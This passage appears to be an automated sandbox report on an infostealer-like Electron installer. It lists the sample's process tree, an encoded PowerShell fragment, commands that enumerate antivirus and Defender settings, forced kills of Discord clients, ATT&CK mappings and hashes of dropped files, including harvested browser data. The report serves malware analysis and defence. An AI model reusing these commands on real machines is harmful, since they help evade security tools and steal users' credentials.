wAcwB5AHMAXwB3AGkAbgBfADYAMAAzADQALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA
    3⤵
    PID:3748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Executes a command shell one-liner
  PID:1804
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5460
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:3612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  - Executes a command shell one-liner
  PID:212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  - Executes a command shell one-liner
  PID:4644
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:5124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  - Executes a command shell one-liner
  PID:3036
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:4488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Discord.exe"
  2⤵
  PID:1036
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Discord.exe
    3⤵
    - Kills process with taskkill
    PID:2980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordCanary.exe"
  2⤵
  PID:5168
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordCanary.exe
    3⤵
    - Kills process with taskkill
    PID:3028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordPTB.exe"
  2⤵
  PID:3080
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordPTB.exe
    3⤵
    - Kills process with taskkill
    PID:5292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordDevelopment.exe"
  2⤵
  - Executes a command shell one-liner
  PID:1816
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordDevelopment.exe
    3⤵
    - Kills process with taskkill
    PID:2508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vesktop.exe"
  2⤵
  PID:1688
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vesktop.exe
    3⤵
    - Kills process with taskkill
    PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vencord.exe"
  2⤵
  PID:4768
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vencord.exe
    3⤵
    - Kills process with taskkill
    PID:5152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM BetterDiscord.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4592
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM BetterDiscord.exe
    3⤵
    - Kills process with taskkill
    PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Powercord.exe"
  2⤵
  - Executes a command shell one-liner
  PID:3152
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Powercord.exe
    3⤵
    - Kills process with taskkill
    PID:1220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Revolt.exe"
  2⤵
  PID:2292
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Revolt.exe
    3⤵
    - Kills process with taskkill
    PID:912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Fluent.exe"
  2⤵
  - Executes a command shell one-liner
  PID:5372
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Fluent.exe
    3⤵
    - Kills process with taskkill
    PID:3812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Lightcord.exe"
  2⤵
  PID:5344
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Lightcord.exe
    3⤵
    - Kills process with taskkill
    PID:4712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordOpenSource.exe"
  2⤵
  PID:4160
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordOpenSource.exe
    3⤵
    - Kills process with taskkill
    PID:2568

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:3132

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:3484

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 56e38fbc0eb0ee86b385d92f4ea9f8870c25a972fda482a58cbbf4e12bdafc68
MD5 341bdacca9c36899c804dd71b7cd3fd2
SHA1 cc94f9a728b5896c6bded1bcf4bdcfc165d4ba14
SHA512 792cd97d24c8fdd5b2a23970b8bcc5ac6c58cdd954ad4d58bb9c7051308f6d616c84585d6aef58e118e9ccb479c8e2d92c02ebf53ef871e2846f14872765c1a8
TLSH
T17281CE323275B0D4C8567F07292819D063BF4396EA98AF4CB25C621ED92751BDB122F7
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 c03c91dd74498cc33a32d616fb3050ad954ed4f57e671e2e9651aedb7b128ff3
MD5 d30f23b777856a4a772cbe961f7b3343
SHA1 7b4f11fe65abb9620e0dbfeee619097a4648e70d
SHA512 64fa5e6ca5021734b620f79ded479d44ce30d4bd58ae9cdbee49fe1b251d6bd779a3b62708afafe90c37491259efc348d7fb2cb774d74668671c6295dca793d3
TLSH
T1E4415C303221B8D84D436F1315286ED5A3EF478AAFA89F5CB569231DCD2A45BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 a3eba9f5dce3c0821d0905269ca053a222a6430c19a2ce99e99df40ca7dee58a
MD5 6139a04f79ada33d919e7726d8a00ec8
SHA1 588b99a25d256c9ed7f5b401b5391bfe569a31bb
SHA512 6c7b5e6de8b51a6ff381e26b496216ed6bf3337f6a16909890357bc6d835cf12b3b3dc5e570f32c8b032ed019cdbdbf1214317fdbbd564064f6354aee1a17afd
SSDEEP 384:r6++Ii+kUkkOucBNXkgwQ9ATpNY17c0o63Qfo6mEi+K7dEdB9dS:elU5EN0gZ9ATpNkcWQf3i+MdEdY
TLSH
T11772076E321F3297D49123B8D02647ABE9F08ECFD3449BDD6706893705DFB6680691E8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c94185a366caf256a3e6bd390acbfe4a8df160f0c4ae8a3271a71aa535085271
MD5 a8840240d183049980128402031712e4
SHA1 91f4a634929ea6324168d680fd6deb0d4d1e7a06
SHA512 777d9225729922fd1d6531f73c7a0fc0a659850bb77b48b49c4c189a42759b396edcf790fbe2ecb44581c7bf5debd84d27405419a5018f0926b0c568d828897e
TLSH
T128216727B3ACC961DCC5223A109D9C1072A7C2C7819ECF8F6AC4D614A57FAD8CB71150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ce5340f3162805318c4ead4efda588644404d20d2dc03c41272937c5d66a696
MD5 8e1d7b263b8465bbe77cbd6966d1ab49
SHA1 3d5c84fc9116fe86e64aea0178786f9f0fb9730c
SHA512 b11da2ae6bf84f23c40ba810caa98d3ca7e81fad551e32d1ececa5e174db4f13e1ffb23b5efdafc2d0b4c13b51b5bfb887e35fe4f5f33c65667cba663a3727e0
TLSH
T133215423B39C89A2CC8A113A549DAC5032B687D740AEDE9FAFC4C604E57F994CB71590
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 81b2060200caac5f5790306c2b23fd3b0e4fb8806d02f34fc9f1c86d61cbfc3b
MD5 64a10d8c6b5db372b97edf35ede19e5e
SHA1 3f4d2156f3a2f53422a9cbdc421ef1220194349b
SHA512 ec3aa311a0ab17211b14cf10ca53f1ea4750b896e5171c5557c6ac92da48c2d23dc5ffbf920d5aab77d40612270b498713f180090fda157c15fa20cac91d96ce
TLSH
T144112223F38C89A1CC861639509DAC5172B686CB81EEDFDF7FC0C210E5AF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9753421cfc9f32ab24aa00a24f0a798116863646f40256c2377715aced3d4a2e
MD5 761ce08ca57f5d305c40112ab0be02a1
SHA1 7ce03cfa0e7ca2d4f4021d0bc63c05f67fb6e0f1
SHA512 e5ffab050115746cbaecbab00a8ed460617cfcda691832640c71d17ac5e2c75451db9d133a243f204f5251b24078793c1c094b0b871a585a0a8bc08d4d056778
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 36f5ab1f74f865b0e673b0e76053a7e26d7cee8f650c02c183b35cf8b359d2fd
MD5 41de0028c9d14e9aee4902b162d19fd5
SHA1 d6d5beaad893910467aaa2a51cf689802d309f5c
SHA512 17536fcd354b629ffa9fcc4e346b5ca5e6db795e53e21694c51f1433d0873401008685639259cffc9c7440f1d36b15ce9fa4cc10d9163d80de1239e9be441df4
SSDEEP 384:bsf+Fu9i+2r3HuVKAe4FUQbBo0ThK6seY2cE/uv3KoZhX/hEGcj2m:AfWr+FqQ1o0ThNP7UKkJEGC
TLSH
T13572A4AE610F26C3C4962378D11B055FE4F2DECD531A07D9BA1A9F3B4EACA5E543C188
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Local\Programs\WatchixSetup\chrome_100_percent.pak
Size 113KB
SHA256 34433fa04ddf5eb78b3b4e9c64a3af626e28641907ad7a6086614eb6a8f00a07
MD5 a8d9be85b9a9c2a1be1815b29cfde9ce
SHA1 9b8df5aebf541d063311ad4c2be1d23398f13a33
SHA512 37ad60e74c7e439f83b87ce61018619568914ee491289e3fb34234a0c4e3258c4986cd56e6e58652134058ab1f824a90499d4aed46e611937ec946d9a3b680ec
SSDEEP 3072:fnk4PisCv+/P9NebGz8LI1TwILjQBHe7YAP18RVC2I:fnZYWFUbGz8LI1TdjQBQCrC
TLSH
T1F8B3E0D773B0AD7DD6870BB783660070FCB31B2D06C2160A4A99E479652AF88D8D93D3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_uzl5leju.csq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uzl5leju.csq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

b_1kvcwrnev4x.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_1kvcwrnev4x.db
Size 20KB
SHA256 39b7352d063ed44876347511832bb259516c01fcb576489d1f3357adc0f8ed15
MD5 92560b483d2f989e308c805409386283
SHA1 5ebbe6e5089761e5e205667dc41104b6bfad2a8c
SHA512 b63f15ac615009da8f3470fc4acc31e4917275360c03a8b972509e21d965c80e2bb176486a0cddb9cacdfdef792965675e23f5d117190319bde57c5495d1e5f8
SSDEEP 24:TLyW91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fBNd553KhYkfvUmVjuij:TeW9aw/aHLopFMavU1iBNH5HKdP
TLSH
T15292EF4F1F703621C5F48736F9C108AB2E3C252C93136AD9AD5490F39DD646BF5065E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_497ngg55ee3.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_497ngg55ee3.db
Size 5.0MB
SHA256 6aef5ed2d72c0226654caea37d4a9cdf463c1600a5ca809f32a13a35680bc3c1
MD5 6964d2511861e4b1d075dfeb680f5340
SHA1 c649dcfae31fe4a8f04f83fa727c3ea4a4620eb8
SHA512 c334c47098df51dc0d67ea40a5915fdb5723fc3b57aaa83ffb60441995ae274e4a8dc5417bb30db0aba4d7241b44acd4e67310bc94ec50c510d5c8a15393fb14
SSDEEP 192:M8rJQaXoMXp0VW9FxWH7+sjwOFOilUD0VxRsqZm:M8r54w0VW3xWbj
TLSH
T135360F0F6A241154C8DAA172ADE35F29183F70168A3736933EE4156D4DE0723B96DCBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_9akt5gfclz8.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_9akt5gfclz8.db
Size 96KB
SHA256 1da10f5699040d962bea2cfe660baa70952c599d1216ce7c11ec14d36db83dbb
MD5 b64300c306c07817b8d0cd16571b51ce
SHA1 6b5f3678cadadec5db1542e779b2a0620d9e00bd
SHA512 f6588541df0d6fd4b6c6afbd0ed90f2b63bb4b9813b18e077d738e4fd6ee5e953adf3386c213e7fc55eac88ca788fbffd146ae60ac4111a665c44e7b2815295a
SSDEEP 6:ltTyl/bK/E7R/Wwhm914iDKrvcwTlNCcVWDeNgLu5e3cwOJrheFDEf:D2tbaE7Rzhm9GiD0c4NCcVUo58cz16D
TLSH
T167A3D88FCA0813A7DE0083789B461F80EE93585E45C343E239B423CD0AA37440B2F828
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_a1yizk3gulr.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_a1yizk3gulr.db
Size 138KB
SHA256 442f386467789b16413f7958f769f14c38679eb213e8744201024e01b68b2a3c
MD5 8aa897064cf42beea501ead6dff932c6
SHA1 688a9adb7f2da07d584d98e444454f8cac20e3ff
SHA512 35de875c23c1703fff921288ece754a2afe37c5f2f3b378a6c05a3cc6436786f8462d6e24c42f4377fa31e6dda46c4981e6dd30dca1de596e15877f9b22c758d
SSDEEP 384:zeuvBnhJsueMEGvIW1DcP2OkGVVumB3na:FnbZeMrv/hGtkGzna
TLSH
T11DD3884B3A747002DDE59A722CE050BB5E3C716D4F51A5D438B620688EF2963A23E4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_bnx5kb1st7.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_bnx5kb1st7.db
Size 204KB
SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
MD5 0f709d9a7125f5d69ba52e8846867f41
SHA1 e9e554385d503e88a18665f5fa36d4b8f9d49fb9
SHA512 9969ad8f86e8c40d9d609e65c091565e14ce550d9191c3ea0d1c62ce51d076a79b20078f556667e96f012dffd60578ef82a8cc245676db78d3b6b2b3d9d71711
SSDEEP 96:3XIU+bGz83uy3+u4tgp4DLjGQLBze9z39jBHMsDEuspU0wbtqrOQpPfR4J+MCXki:3Xf+G83uy3Ct7XBBKjH7DXspU3i
TLSH
T176140F0E5F243721CDBD917629E644B35D7CF03F8B5266DA686114B4CEE3A52A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_f92dsosrr85.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_f92dsosrr85.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_fodmsbwff88.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_fodmsbwff88.db
Size 20KB
SHA256 de48f5c4308a2477450952a8fd6462c411cc966f9e0fb0065a252b3be831a482
MD5 7696a61462ad640aba1171c8c42f837d
SHA1 4b1efd332c87a107f7b72f71e4b88af6c7994e05
SHA512 4b9849565bdb051e85ce777cc950516fa73b8beb75d54cb794a536176e9c239c5ec46de257c01b028924579d94ef7ddba31872ab244d4c2f999000814437e8a0
SSDEEP 24:TLZLbXYFpFNYbatqn1kweka6za6UwpQ9YH8PATZ6HfB:T9LopFMatSaw/auUOt8B
TLSH
T1F4928A4E5F346220C0F44B36EDD189672F7C212CD3A72699DE1420F3DE925ABF1095AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_gyjjfb9mjbl.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_gyjjfb9mjbl.db
Size 96KB
SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
MD5 6066c07e98c96795ecd876aa92fe10f8
SHA1 f73cbd7b307c53aaae38677d6513b1baa729ac9f
SHA512 7d76207c1c6334aa98f79c325118adf03a5ba36b1e2412803fd3e654a9d3630c775f32a98855c46342eba00d4a8496a3ded3686e74beaac9c216beee37aa5cb7
SSDEEP 12:DQnD+23Fmdmc/OPVJXfPNn43etRRfYR5O8atLwxeYaNcDakMG/lO:DQnS232mNVpP965RayKN0MG/lO
TLSH
T192A3DD826B781395C44701B2FCB0565E0D3CA23849272B55AC39B0B30CD6A438A329FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_m86y9os21yi.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_m86y9os21yi.db
Size 56KB
SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
MD5 f92de240ae86100670164298edba43f2
SHA1 5d9ede7e7743e75344ee7f996456693f82896e5d
SHA512 2e6b9cbd04baf609d91a0583d742b19c5dc6dd7b334349fac1a71563c140075408fe881388e1fff72f5c1c0124d0603d54d35f5039c544ee9c1350b4e1684c21
SSDEEP 96:/kS/KLPeymOoizhGNOnfmG38tmvJHbn8MouB6w9fUPnP:B4oizhGNOnDV77Iw9fK
TLSH
T15E43651F1B682802C8698632BCB194F36F7CA13E8F639E922CB044359D75852B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_ricma24awb.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_ricma24awb.db
Size 160KB
SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
MD5 ea2f1147ca310fa5d8e3dc3cca218f60
SHA1 fd7e6239dac6d57876fc8536feb7bbf2307b0bc1
SHA512 7427e2055015af3721dfaa2f3e16dd12b158dfa3ea8c75130bd66a6610b657d51a5d7fad8c1f2e27e79ba05bdfef1e961171611c2668759bc09dd79cb97cbc9b
SSDEEP 96:JY/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0:JY/tH+bF+UI3iWGVYWNkqp3
TLSH
T14AF30A1E5F243312CDBD92366CE745B3597CF03F8B632A856CA514B1CEE2652A02C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b_zn1p1rhqy1o.db

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\b_zn1p1rhqy1o.db
Size 224KB
SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
MD5 710df06c7732247ac90a924171429a31
SHA1 74ca20f5987e39ea08d3765803fa25a9638eddea
SHA512 446dcaa944760f53b09f2112d434f8436ccaffcd7e6e270f699068161a7113f9c0b71de8f4e634bdccebb2364c6976c818fae12adb83c006fe1cce421a690c02
SSDEEP 192:f+xj3fT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:2B3fQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T1DD24640A7B787001EDE3D9725CB080771E3CA16D8F22A6915DB654694EB2853A23D8EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bookmark.txt

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\browsers\Mozilla Firefox\nxqdpovk.default-release\bookmark.txt
Size 375B
SHA256 bae78963a6f204e875ecebf7fd5d02606b3bb09aa2c4870c132124f35fecc1f1
MD5 eba3144576e77c93215f6bfe28778c84
SHA1 5d33eb6f88bf5fe65f38ee3c9570c2e56e240982
SHA512 7ab6e712b7d96b5fbbda56e5d3b888ac2854611c92b54262bc999b8ab03f56dab4776a616ad0531bf933666101dc34e7d9dde4238548842d40978c7ae804b7db
TLSH
T13BE068A3A27200280F119F5030282A26684B8B08CEEB099AA2072072C0A93B040E6A8D
MD5 SHA1 SHA512 TLSH

Submit Download

history.txt

Path C:\Users\Admin\AppData\Local\Temp\hades_cache\browsers\Mozilla Firefox\nxqdpovk.default-release\history.txt
Size 346B
SHA256 3462064d7027ec6d4ff423b890e365f7191fc07a0db3d4b9fef4eb54bd835059
MD5 ab57be13436033541ea2e13ceb6642a0
SHA1 b5d4f9dd16ebe141f8e4762c869b6c6f30eb3a91
SHA512 41b83f47f575186efbcebcf1f12928228f63f0150ebdfe672b50859cb5c0403780add4af395ebf8ddd78db4c856a874567663e3f4c9724f89918235fc3a65b42
TLSH
T1F4E02063516241544F45AB1C70297DA55C47D309CEE51496F8473C3243EA75040E694E
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.electron.txt

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\LICENSE.electron.txt
Size 1KB
SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
MD5 4d42118d35941e0f664dddbd83f633c5
SHA1 2b21ec5f20fe961d15f2b58efb1368e66d202e5c
SHA512 3ffbba2e4cd689f362378f6b0f6060571f57e228d3755bdd308283be6cbbef8c2e84beb5fcf73e0c3c81cd944d01ee3fcf141733c4d8b3b0162e543e0b9f3e63
TLSH
T1B511861E726453721C56136055766C84F12F725FBAAF2784246EF384233746CE5FF844
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSES.chromium.html

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\LICENSES.chromium.html
Size 18.6MB
SHA256 c1bc6cfdd6c5844720e5e6332698a6131f5402e77abf1fdb9646740d38065a65
MD5 68bebb0e4b93ed694e4493608a77f457
SHA1 da90f6238eb91d6369a45f075b7c31a26624f8f2
SHA512 cf8bd94f45ed137e383ebde6ffadec046609cf8c18e17d5017031a7ae9b3105c1883ebff1ac31d3389301608416c729c42d82d027c1782da1d96318b82623d5c
SSDEEP 49152:nRWnjZ1pNUAwuTYp2bKvC6I3r8xsJQf8xFTneQdt+lHx37DoB:Y
TLSH
T16C17B56BBB49037316F242626B47A5CAF31EA13F375A1654309CC11C2B7B92483FB69D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_200_percent.pak

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\chrome_200_percent.pak
Size 183KB
SHA256 581c8d53199c10512d31a340699f9ad269f8eea5fe6bc49e05c1bde98ee612aa
MD5 e0d4001307e8e8554810b27796ad636f
SHA1 be92e88b55ae85cc5118009af0fe32c9470c0dca
SHA512 762324239832fa1a531cc3da546df8627610a164c13d83f12b64c28e207273989fa7da0c4e96787ab0a5d09f5202ebc31895f09ad2fdbea4e6e70c0d2b4f51d1
SSDEEP 3072:jgJ8LahaY7d6iN6uSwxohPQDQYaEjrvy/IwXJPpLjQBHe7YAP10uxR/TbIM0:jxGQ+N6uSZQDQYakvyAk9jQBQNd4
TLSH
T1C704F2D723B8AE3DD9570B73926610E0FE7A20291EB3110E469F98397925F8CD9C9343
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3dcompiler_47.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\d3dcompiler_47.dll
Size 4.5MB
SHA256 c8e25abd3d45dfb55966a74613258c39b4a83ea2ac77f2f80903499f4d5c03f0
MD5 6ac6cc720fb6bbe5c0ed4e84ad2b3337
SHA1 8556531bd06691ce0f8b7d83814c867a420526a4
SHA512 216084dc2a84ca818d68d603968acc978c0b60bdbe0a3152cbfc400ec11a2b96e81d1698a15dbb7738974f4365a8feb109f2bca5b641b42acedeaeff1e2a342c
SSDEEP 49152:JSHvWaWTktEzfRriMsCL98dhdVhpHGC6GNCxJYrv9y5Eze+V7ZpdKMZzaWoUyxqJ:suktcrfNlTyj5byqSC
TLSH
T1FE268D5767E840E9C5BBD138D687831BEBB1B80413345BDF01508669AF73BE26A3E724
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dxcompiler.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\dxcompiler.dll
Size 24.5MB
SHA256 db72abfc0de76ff1504e240da07c1dfd8646ce46aa30df9bf4fb2258161f97d1
MD5 f7bd36d4e0f7c477c05b96a054baf68a
SHA1 d268b3fdb13073a986eb80238aac252bdfb076fe
SHA512 5d72972a99ee5a72124acbc38b98e95467be7cd0266ea9c82e828d7b0f3b129bc6767f78e6e255678ae55987a8714ab9a46279bce618e4ddab5c86b85dc3781e
SSDEEP 393216:zUTn+V5ObvlrOM6ONrkCoXAroHeOKxM6e:Teb4eCVwM6e
TLSH
T113473A122646D49CC059C879C7678B26CA6C30E73FA7B8EBC0F451252B79EBC5B39235
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dxil.dll

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\dxil.dll
Size 1.4MB
SHA256 436f128f22050ae27323da61321a469de0678def7a4e6d86f9ccad4858724f0a
MD5 f8f3501026df30556c34a9af9cb7af9c
SHA1 961d9012b6d79e2e3c28b310a80ba3ab36e2c559
SHA512 3631f8a3d48e8eea25091b93147d88f0e8a7539f2f242fe287d37f82fc4344528901e4cc48c93ebcf8691d2e11227a9b50f2b5ad45f2475c0119ad8b2d3661fd
SSDEEP 24576:zY+wATtbKYxy0y3ny6eBjNSGlVZyi27+V0IJNSD11J7R+j+v1acLUkJvS5Kao:8iTMYxy0Sy66Zh7Sh/cyvS5W
TLSH
T154657E1B229801B6D4BBD17CDA47CE0BE6B2B41503B09BCF12B406692F5BBF55A3E351
